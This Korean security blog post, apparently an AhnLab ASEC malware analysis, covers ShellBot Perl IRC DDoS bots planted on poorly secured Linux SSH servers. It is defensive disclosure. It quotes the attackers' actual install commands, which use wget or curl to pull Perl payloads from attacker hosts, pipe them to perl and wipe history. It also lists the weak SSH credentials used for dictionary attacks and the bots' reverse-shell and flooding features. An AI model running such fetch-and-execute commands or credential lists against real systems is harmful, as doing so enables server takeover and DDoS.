리눅스 SSH 서버를 대상으로 유포 중인 ShellBot 악성코드

AhnLab Security Emergency response Center(ASEC)에서는 최근 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 ShellBot 악성코드들이 설치되고 있는 것을 확인하였다. PerlBot이라고도 불리는 ShellBot은 Perl 언어로 개발된 DDoS Bot 악성코드로서 C&C 서버와 IRC 프로토콜을 이용해 통신하는 것이 특징이다. ShellBot은 꾸준히 사용되고 있는 오래된 악성코드로서 최근까지도 다수의 리눅스 시스템들을 대상으로 공격을 수행하고 있다.


1. 리눅스 SSH 서버 대상 공격 캠페인

일반 사용자들의 주요 작업 환경인 데스크탑과 달리 서버는 주로 특정 서비스를 제공하는 역할을 담당한다. 이에 따라 데스크탑 환경에서는 악성코드가 주로 웹 브라우저를 통해 또는 메일 첨부 파일을 통해 이루어지며 공격자들 또한 악성코드 설치를 유도하기 위해 정상 프로그램으로 위장하여 악성코드를 유포한다. 서버 환경을 대상으로 하는 공격자들은 이러한 방식으로 악성코드를 유포하는 데 한계가 존재하기 때문에 다른 방식을 사용한다. 대표적으로 부적절하게 관리되고 있거나 최신 버전으로 패치를 하지 않아 취약점 공격에 취약한 서비스들이 그 대상이 된다.

부적절하게 관리되고 있는 서비스로는 대표적으로 단순한 형태의 계정 정보를 사용함에 따라 사전 공격에 취약한 유형이 있다. 예를 들어 윈도우 운영체제를 대상으로 하는 주요 공격 벡터 중 하나인 Remote Desktop Protocol(RDP) 및 MS-SQL 서비스가 대표적이다. 리눅스 서버 환경에서는 주로 Secure Shell(SSH) 서비스가 공격 대상이 되며, 오래된 리눅스 서버 또는 임베디드 리눅스 운영체제가 설치된 IoT 환경에서는 Telnet 서비스가 사전 공격 대상이 되기도 한다.

현재 블로그에서 다룰 ShellBot 악성코드들도 공격자가 공격지에 설치한 스캐너 및 SSH BruteForce 악성코드들을 이용해 획득한 계정 정보를 이용해 설치된 것으로 추정된다. 공격자들은 22번 포트 즉 SSH 서비스가 동작하는 시스템들을 스캐닝 한 후 SSH 서비스가 동작 중인 시스템을 찾은 이후에는 흔히 사용되는 SSH 계정 정보 목록을 이용해 사전 공격을 진행하였다. 다음은 ShellBot 악성코드들을 설치하는 공격자들이 사용한 실제 계정 정보들의 목록이다. (실제 공격에서는 이보다 훨씬 많은 계정 정보들이 사용되었지만 대표적인 예시만 정리한다.)

UserPassword
deploypassword
hadoophadoop
oracleoracle
root11111
rootPassw0rd
ttxttx2011
ubntubnt
Table 1. ShellBot 공격자들이 사용한 계정 정보 목록 일부


2. IRC(Internet Relay Chat) 프로토콜

ShellBot의 특징이라고 한다면 Perl 언어로 개발된 것 외에도 C&C 서버와의 통신에 IRC 프로토콜을 이용한다는 점이 있다. IRC는 1988년 개발된 실시간 인터넷 채팅 프로토콜이다. 사용자들은 특정 IRC 서버의 특정 채널에 접속해 동일한 채널에 접속한 다른 사용자들과 실시간으로 채팅을 할 수 있다.

IRC 봇은 이러한 IRC를 악용하여 C&C 서버와의 통신에 사용하는 봇 악성코드이다. 감염 시스템에 설치된 IRC 봇은 IRC 프로토콜에 따라 공격자가 지정한 IRC 서버의 채널에 접속하며 이후 탈취한 정보를 해당 채널에 전달하거나 공격자가 특정 문자열을 입력할 경우 이를 명령으로 전달받아 이에 상응하는 악성 행위를 수행할 수 있다.

추가적인 C&C 서버 및 프로토콜을 개발할 필요 없이 이미 존재하는 IRC 프로토콜을 이용하고 기존 IRC 서버를 활용할 수 있다는 점에서 IRC는 과거부터 꾸준히 악성코드들에 의해 사용되어 왔다. 윈도우 환경을 대상으로 하는 악성코드들 중에서는 그 비율이 많이 줄어들었지만, 리눅스 환경의 경우에는 아직까지도 IRC 봇이 다수 유포되고 있다.


3. ShellBot 분석

ShellBot은 오랜 기간 동안 다양한 공격자들에 의해 사용되고 있으며 과거 ASEC 블로그에서도 CoinMiner와 함께 공격에 사용된 사례를 공개한 바 있다.

ShellBot은 공격자들마다 커스터마이징하여 사용하기 때문에 조금씩 다른 형태 및 기능을 갖는 것이 특징이다. 여기에서는 최근 유포 중인 것으로 확인된 ShellBot 악성코드를 기준으로 크게 3개로 분류하였으며, 설치에 사용된 명령과 특징, DDoS 공격을 포함한 간략한 기능들을 정리한다.


3.1. LiGhT’s Modded perlbot v2

다음은 “LiGhT’s Modded perlbot v2”이라고 이름 붙여진 ShellBot 악성코드이다.

Figure 1. ShellBot의 버전 정보

“LiGhT’s Modded perlbot v2”는 다양한 공격자들에 의해 사용되고 있다. SSH 서버에 로그인이 성공한 이후에는 다음과 같은 명령들이 ShellBot 설치에 사용되고 있다.

파일명설치 명령
akwget -qO – x-x-x[.]online/ak|perl
perlnproc; nvidia-smi –list-gpus ;cd /tmp;wget -qO – http://34.225[.]57.146/futai/perl|perl;rm -rf perl
mperlcd /tmp ; wget 193.233.202[.]219/mperl ; perl mperl ; rm -rf mperl
niko2cd /tmp ; wget 193.233.202[.]219/niko1 ; perl niko1 ; rm -rf niko1
Table 2. LiGhT’s Modded perlbot v2를 설치하는데 사용된 명령

C&C 서버 및 입장할 채널 이름과 같은 설정 데이터들은 ShellBot의 초기 루틴에 존재한다. IRC 채널 입장에 필요한 닉네임은 “IP-[랜덤한 5개의 숫자]”가 사용된다.

Figure 2. ShellBot의 설정 데이터
파일명C&C 주소채널 이름
ak164.90.240[.]68:6667#nou
per164.132.224[.]207:80#mailbomb
mperl206.189.139[.]152:6667#Q
niko1176.123.2[.]3:6667#X
Table 3. LiGhT’s Modded perlbot v2의 C&C 주소 및 채널

“LiGhT’s Modded perlbot v2” 버전의 ShellBot은 다양한 기능들을 제공하는데, 크게 다음과 같이 분류할 수 있다. 실질적으로 악의적인 목적으로 사용될 수 있는 명령이라고 한다면 TCP, UDP, HTTP Flooding과 같은 DDoS 명령들 그리고 리버스 쉘, 로그 삭제, 스캐너와 같이 감염 시스템을 제어하고 다른 공격에 이용할 수 있도록 하는 다양한 명령들이 있다.

명령 (분류)설명
floodingIRC Flooding
ircIRC 제어 명령들
ddosDDoS 명령들
TCP, UDP, HTTP, SQL Flooding 등
news보안 웹 페이지들에 대한 DDoS 공격 명령
hacking공격 명령들
MultiScan, Socks5, LogCleaner, Nmap, Reverse Shell 등
linuxhelp도움말
extras추가 기능 (DDoS 공격 관련 추정)
version버전 정보 출력
Table 4. LiGhT’s Modded perlbot v2가 지원하는 기능들


3.2. DDoS PBot v2.0

“LiGhT’s Modded perlbot v2” 외에 “DDoS PBot v2.0”도 다양한 공격에 사용되고 있다. “DDoS PBot v2.0”는 초기 루틴에서 볼 수 있는 주석에 기본적인 정보들과 사용 가능한 명령들을 보여주는 점이 특징이다.

Figure 3. DDoS PBot v2.0의 초기 루틴

다음은 “DDoS PBot v2.0”를 설치하는데 사용된 명령들이다.

파일명설치 명령
bashwget -qO – 80.94.92[.]241/bash|perl
test.jpguname -a;wget -q -O- hxxp://185.161.208[.]234/test.jpg|perl;curl -sS hxxp://185.161.208[.]234/test.jpg|perl;nproc;history -c
dreduname -a;lspci | grep -i –color ‘vga|3d|2d’;curl -s -L hxxp://39.165.53[.]17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred
Table 5. DDoS PBot v2.0를 설치하는데 사용된 명령

“DDoS PBot v2.0”는 “abbore”, “ably”, “abyss”를 포함한 500개가 넘는 닉네임들 중 하나를 랜덤으로 선택하여 IRC 채널에 입장하는 것이 특징이다.

Figure 4. DDoS PBot v2.0의 닉네임 목록
파일명C&C 주소채널 이름
bash51.195.42[.]59:8080#sex
test.jpggsm.ftp[.]sh:1080#test
dred192.3.141[.]163:6667#bigfalus
Table 6. DDoS PBot v2.0의 C&C 주소 및 채널

참고로 일반적인 IRC Bot들은 IRC 채널에서 공격자가 내린 명령을 받아 악성 행위를 수행한다. 이에 따라 명령을 내리는 공격자를 검증할 필요가 있다. 검증 과정이 없다면 다른 사용자가 해당 채널에 입장하여 마음대로 Bot들을 제어할 수 있기 때문이다.

이를 위해 IRC Bot은 추가적인 작업을 진행하는데, 명령을 내리기 위해서는 채널에 입장한 사용자의 닉네임과 호스트 주소를 검증한다. 예를 들어 “bash” 악성코드에서 사용자의 닉네임은 “admins” 변수에 지정된 “crond”,”drugs”,”tab” 중 하나여야 하며, 호스트 주소는 “hostauth” 변수에 지정된 “localhost”여야 한다.

Figure 5. DDoS PBot v2.0의 설정 데이터

“DDoS PBot v2.0” 또한 일반적인 ShellBot과 동일하게 DDoS 공격을 포함한 다양한 악의적인 명령들을 제공한다.

명령 (분류)설명
system감염 시스템 정보 출력
version버전 정보 출력
channelIRC 제어 명령들
floodDDoS 명령들
TCP, UDP, HTTP, SQL Flooding 등
utils공격 명령들
Port Scan, Reverse Shell, 파일 다운로드 등
Table 7. DDoS PBot v2.0이 지원하는 기능들


3.3. PowerBots (C) GohacK

PowerBots는 위에서 다룬 ShellBot 유형들보다 단순한 형태인 것이 특징이다.

Figure 6. PowerBots의 설정 데이터
파일명설치 명령
ffuname -a ;wget -qO – hxxp://80.68.196[.]6/ff|perl &>>/dev/null
Table 8. PowerBots를 설치하는데 사용된 명령
파일명C&C 주소채널 이름
ff49.212.234[.]206:3303#x
Table 9. DDoS PBot v2.0의 C&C 주소 및 채널

다양한 DDoS 공격 기능을 제공하는 ShellBot 유형들과 달리 리버스 쉘 및 파일 다운로드 기능이 주요 기능인 것을 보면 공격자는 백도어로서 ShellBot을 설치한 것으로 추정된다.

명령설명
ps포트 스캐닝
nampNMAP 포트 스캐닝
rm특정 경로의 파일 삭제
version버전 정보 출력
down파일 다운로드
udpUDP Flooding 공격
backReverse Shell
Table 10. PowerBots가 지원하는 기능들


4. 결론

최근 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 공격자들이 ShellBot 악성코드를 설치하고 있다. 이러한 유형의 공격들은 과거부터 꾸준히 진행되고 있으며 최근까지도 다수의 공격들이 확인되고 있다. ShellBot이 설치될 경우 리눅스 서버는 공격자의 명령을 받아 특정 대상에 대한 DDoS 공격을 수행하는 DDoS Bot으로 사용될 수 있으며, 이외에도 다양한 백도어 기능을 통해 추가 악성코드가 설치되거나 다른 공격에 사용될 수 있다.

이에 따라 관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 리눅스 서버를 보호해야 하며, 최신 버전으로 패치하여 취약점 공격을 방지해야 한다. 또한 외부에 오픈되어 접근 가능한 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.

파일 진단
– Shellbot/Perl.Generic.S1100 (2020.02.12.00)
– Shellbot/Perl.Generic.S1118 (2020.02.19.07)

IOC
MD5

– bef1a9a49e201095da0bb26642f65a78 : ak
– 3eef28005943fee77f48ac6ba633740d : mperl
– 55e5bfa75d72e9b579e59c00eaeb6922 : niko1
– 6d2c754760ccd6e078de931f472c0f72 : perl
– 7ca3f23f54e8c027a7e8b517995ae433 : bash
– 2cf90bf5b61d605c116ce4715551b7a3 : test.jpg
– 7bc4c22b0f34ef28b69d83a23a6c88c5 : dred
– 176ebfc431daa903ef83e69934759212 : ff

다운로드 주소
– x-x-x[.]online/ak
– 193.233.202[.]219/mperl
– 193.233.202[.]219/niko1
– hxxp://34.225.57[.]146/futai/perl
– 80.94.92[.]241/bash
– hxxp://185.161.208[.]234/test.jpg
– hxxp://39.165.53[.]17:8088/iposzz/dred
– hxxp://80.68.196[.]6/ff

C&C 주소
– 164.90.240[.]68:6667 : ak
– 206.189.139[.]152:6667 : mperl
– 176.123.2[.]3:6667 : niko1
– 164.132.224[.]207:80 : perl
– 51.195.42[.]59:8080 : bash
– gsm.ftp[.]sh:1080 : test.jpg
– 192.3.141[.]163:6667 : dred
– 49.212.234[.]206:3303 : ff

연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

0 0 votes
별점 주기
Subscribe
Notify of
guest

3 댓글
Inline Feedbacks
View all comments
trackback

[…] 사례가 대부분을 차지하고 있다. DDoS Bot의 경우 과거 ASEC 블로그에서 ShellBot [1], ChinaZ DDoS Bot [2] 악성코드를 설치하는 공격 사례를 소개한 바 있으며, XMRig […]

trackback

[…] 사례가 대부분을 차지하고 있다. DDoS Bot의 경우 과거 ASEC 블로그에서 ShellBot [1], ChinaZ DDoS Bot [2] 악성코드를 설치하는 공격 사례를 소개한 바 있으며, XMRig […]

trackback

[…] 있다. ASEC에서는 과거 블로그를 통해 ShellBot 공격 사례를 공개한 바 있으며, [2] 지속적으로 공격지(Attack Source) 주소와 다운로드 및 C&C 주소를 탐지 및 […]